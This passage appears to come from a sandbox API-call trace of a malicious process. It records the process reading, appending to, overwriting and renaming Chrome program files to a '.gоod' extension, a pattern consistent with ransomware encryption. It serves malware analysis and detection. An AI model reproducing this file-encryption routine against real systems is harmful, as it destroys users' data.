nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupMetrics", cAlternateFileName="SETUPM~1")) returned 1 [0087.914] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0087.914] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0087.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed0c0) returned 1 [0087.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed080) returned 1 [0087.914] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", nBufferLength=0x105, lpBuffer=0x1fbeca60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpFilePart=0x0) returned 0x3b [0087.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecf30) returned 1 [0087.914] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe"), fInfoLevelId=0x0, lpFileInformation=0x324ded8 | out: lpFileInformation=0x324ded8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8a617bee, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x162558)) returned 1 [0087.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecef0) returned 1 [0087.914] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", nBufferLength=0x105, lpBuffer=0x1fbec910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpFilePart=0x0) returned 0x3b [0087.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbece30) returned 1 [0087.914] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0087.915] GetFileType (hFile=0x7ac) returned 0x1 [0087.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecda0) returned 1 [0087.915] GetFileType (hFile=0x7ac) returned 0x1 [0087.915] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbecf88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbecf88*=0) returned 0x1000 [0087.915] ReadFile (in: hFile=0x7ac, lpBuffer=0x324e2b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbecf58, lpOverlapped=0x0 | out: lpBuffer=0x324e2b0*, lpNumberOfBytesRead=0x1fbecf58*=0x1000, lpOverlapped=0x0) returned 1 [0087.916] CloseHandle (hObject=0x7ac) returned 1 [0087.916] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", nBufferLength=0x105, lpBuffer=0x1fbec910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpFilePart=0x0) returned 0x3b [0087.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbece30) returned 1 [0087.916] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0087.917] GetFileType (hFile=0x7ac) returned 0x1 [0087.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecda0) returned 1 [0087.917] GetFileType (hFile=0x7ac) returned 0x1 [0087.917] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbecf88*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbecf88*=0) returned 0x162558 [0087.917] WriteFile (in: hFile=0x7ac, lpBuffer=0x324f528*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbece78, lpOverlapped=0x0 | out: lpBuffer=0x324f528*, lpNumberOfBytesWritten=0x1fbece78*=0x10, lpOverlapped=0x0) returned 1 [0087.918] CloseHandle (hObject=0x7ac) returned 1 [0087.918] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", nBufferLength=0x105, lpBuffer=0x1fbec910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpFilePart=0x0) returned 0x3b [0087.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbece30) returned 1 [0087.919] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0087.919] GetFileType (hFile=0x7ac) returned 0x1 [0087.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecda0) returned 1 [0087.919] GetFileType (hFile=0x7ac) returned 0x1 [0087.919] ReadFile (in: hFile=0x7ac, lpBuffer=0x3252d60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbecf08, lpOverlapped=0x0 | out: lpBuffer=0x3252d60*, lpNumberOfBytesRead=0x1fbecf08*=0x1000, lpOverlapped=0x0) returned 1 [0087.958] CloseHandle (hObject=0x7ac) returned 1 [0088.317] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", nBufferLength=0x105, lpBuffer=0x1fbec910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpFilePart=0x0) returned 0x3b [0088.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbece30) returned 1 [0088.317] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0088.317] GetFileType (hFile=0x7ac) returned 0x1 [0088.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecda0) returned 1 [0088.317] GetFileType (hFile=0x7ac) returned 0x1 [0088.317] WriteFile (in: hFile=0x7ac, lpBuffer=0x31f5f58*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbecfb8, lpOverlapped=0x0 | out: lpBuffer=0x31f5f58*, lpNumberOfBytesWritten=0x1fbecfb8*=0x1010, lpOverlapped=0x0) returned 1 [0088.317] CloseHandle (hObject=0x7ac) returned 1 [0088.318] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", nBufferLength=0x105, lpBuffer=0x1fbeca60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", lpFilePart=0x0) returned 0x3b [0088.318] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe.gоod", nBufferLength=0x105, lpBuffer=0x1fbeca60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe.gоod", lpFilePart=0x0) returned 0x40 [0088.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecef0) returned 1 [0088.318] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe"), fInfoLevelId=0x0, lpFileInformation=0x1fbecfd0 | out: lpFileInformation=0x1fbecfd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x30db657a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x162568)) returned 1 [0088.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeceb0) returned 1 [0088.318] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.exe.gоod")) returned 1 [0088.319] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1fbeca60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x52 [0088.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecf30) returned 1 [0088.319] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.visualelementsmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x3269690 | out: lpFileInformation=0x3269690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x197)) returned 1 [0088.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecef0) returned 1 [0088.319] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1fbec8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x52 [0088.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecde0) returned 1 [0088.319] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.visualelementsmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0088.319] GetFileType (hFile=0x7ac) returned 0x1 [0088.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecd50) returned 1 [0088.319] GetFileType (hFile=0x7ac) returned 0x1 [0088.319] GetFileSize (in: hFile=0x7ac, lpFileSizeHigh=0x1fbecf88 | out: lpFileSizeHigh=0x1fbecf88*=0x0) returned 0x197 [0088.319] ReadFile (in: hFile=0x7ac, lpBuffer=0x3269b50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeceb8, lpOverlapped=0x0 | out: lpBuffer=0x3269b50*, lpNumberOfBytesRead=0x1fbeceb8*=0x197, lpOverlapped=0x0) returned 1 [0088.320] CloseHandle (hObject=0x7ac) returned 1 [0088.350] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1fbec8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x52 [0088.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecde0) returned 1 [0088.350] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.visualelementsmanifest.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0088.351] GetFileType (hFile=0x7ac) returned 0x1 [0088.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecd50) returned 1 [0088.351] GetFileType (hFile=0x7ac) returned 0x1 [0088.351] WriteFile (in: hFile=0x7ac, lpBuffer=0x32e1a68*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x1fbecdc8, lpOverlapped=0x0 | out: lpBuffer=0x32e1a68*, lpNumberOfBytesWritten=0x1fbecdc8*=0x1a0, lpOverlapped=0x0) returned 1 [0088.352] CloseHandle (hObject=0x7ac) returned 1 [0088.352] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1fbeca60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x52 [0088.352] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbeca60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml.gоod", lpFilePart=0x0) returned 0x57 [0088.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecef0) returned 1 [0088.352] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.visualelementsmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbecfd0 | out: lpFileInformation=0x1fbecfd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x30e0288d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1a0)) returned 1 [0088.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeceb0) returned 1 [0088.353] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.visualelementsmanifest.xml"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\chrome.visualelementsmanifest.xml.gоod")) returned 1 [0088.353] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\master_preferences", nBufferLength=0x105, lpBuffer=0x1fbeca60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\master_preferences", lpFilePart=0x0) returned 0x43 [0088.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecf30) returned 1 [0088.353] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\master_preferences" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\master_preferences"), fInfoLevelId=0x0, lpFileInformation=0x32e2cf0 | out: lpFileInformation=0x32e2cf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bca716, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4bca716, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe050290c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1f46e)) returned 1 [0088.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecef0) returned 1 [0088.504] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\master_preferences", nBufferLength=0x105, lpBuffer=0x1fbec910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\master_preferences", lpFilePart=0x0) returned 0x43 [0088.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbece30) returned 1 [0088.505] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\master_preferences" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\master_preferences"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0088.505] GetFileType (hFile=0x7ac) returned 0x1 [0088.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecda0) returned 1 [0088.546] GetFileType (hFile=0x7ac) returned 0x1 [0088.547] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbecf88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbecf88*=0) returned 0x1000 [0088.547] ReadFile (in: hFile=0x7ac, lpBuffer=0x32db598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbecf58, lpOverlapped=0x0 | out: lpBuffer=0x32db598*, lpNumberOfBytesRead=0x1fbecf58*=0x1000, lpOverlapped=0x0) returned 1 [0088.548] CloseHandle (hObject=0x7ac) returned 1 [0088.548] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\master_preferences", nBufferLength=0x105, lpBuffer=0x1fbec910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\master_preferences", lpFilePart=0x0) returned 0x43 [0088.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbece30) returned 1 [0088.548] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\master_preferences" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\master_preferences"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0088.548] GetFileType (hFile=0x7ac) returned 0x1 [0088.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecda0) returned 1 [0088.548] GetFileType (hFile=0x7ac) returned 0x1 [0088.548] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbecf88*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbecf88*=0) returned 0x1f46e [0088.548] WriteFile (in: hFile=0x7ac, lpBuffer=0x32dc858*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbece78, lpOverlapped=0x0 | out: lpBuffer=0x32dc858*, lpNumberOfBytesWritten=0x1fbece78*=0x10, lpOverlapped=0x0) returned 1 [0088.549] CloseHandle (hObject=0x7ac) returned 1 [0088.549] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\master_preferences", nBufferLength=0x105, lpBuffer=0x1fbec910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\master_preferences", lpFilePart=0x0) returned 0x43 [0088.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbece30) returned 1 [0088.549] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\master_preferences" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\master_preferences"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0088.550] GetFileType (hFile=0x7ac) returned 0x1 [0088.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecda0) returned 1 [0088.550] GetFileType (hFile=0x7ac) returned 0x1 [0088.550] ReadFile (in: hFile=0x7ac, lpBuffer=0x32deb18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbecf08, lpOverlapped=0x0 | out: lpBuffer=0x32deb18*, lpNumberOfBytesRead=0x1fbecf08*=0x1000, lpOverlapped=0x0) returned 1 [0089.093] CloseHandle (hObject=0x7ac) returned 1 [0089.093] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\master_preferences", nBufferLength=0x105, lpBuffer=0x1fbec910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\master_preferences", lpFilePart=0x0) returned 0x43 [0089.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbece30) returned 1 [0089.093] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\master_preferences" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\master_preferences"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0089.093] GetFileType (hFile=0x7ac) returned 0x1 [0089.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbecda0) returned 1 [0089.093] GetFileType (hFile=0x7ac) returned 0x1 [0089.093] WriteFile (in: hFile=0x7ac, lpBuffer=0x323c9b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbecfb8, lpOverlapped=0x0 | out: lpBuffer=0x323c9b8*, lpNumberOfBytesWritten=0x1fbecfb8*=0x1010, lpOverlapped=0x0) returned 1 [0089.094] CloseHandle (hObject=0x7ac) returned 1 [0089.094] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\master_preferences", nBufferLength=0x105, lpBuffer=0x1fbeca60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\master_preferences", lpFilePart=0x0) returned 0x43 [0089.094] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\master_preferences.gоod", nBufferLength=0x105, lpBuffer=0x1fbeca60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\master_preferences.gоod", lpFilePart=0x0) returned 0x48 [0089.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbecef0) returned 1 [0089.094] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\master_preferences" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\master_preferences"), fInfoLevelId=0x0, lpFileInformation=0x1fbecfd0 | out: lpFileInformation=0x1fbecfd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bca716, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4bca716, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x315035c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f47e)) returned 1 [0089.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeceb0) returned 1 [0089.094] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\master_preferences" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\master_preferences"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\master_preferences.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\master_preferences.gоod")) returned 1 [0089.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec750) returned 1 [0089.095] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79", nBufferLength=0x105, lpBuffer=0x1fbec1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79", lpFilePart=0x0) returned 0x3d [0089.558] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\*", lpFindFileData=0x1fbec470 | out: lpFindFileData=0x1fbec470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b7e268, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0089.559] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b7e268, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.561] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x512e9f64, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="61.0.3163.79.manifest", cAlternateFileName="610316~1.MAN")) returned 1 [0089.561] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4836ebd, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4836ebd, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8b9e94b0, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x307ef58, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.dll", cAlternateFileName="")) returned 1 [0089.561] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8c182c9e, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.dll.sig", cAlternateFileName="CHROME~3.SIG")) returned 1 [0089.561] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1fbec430 | out: lpFindFileData=0x1fbec430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8b2c23d0, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.exe.sig", 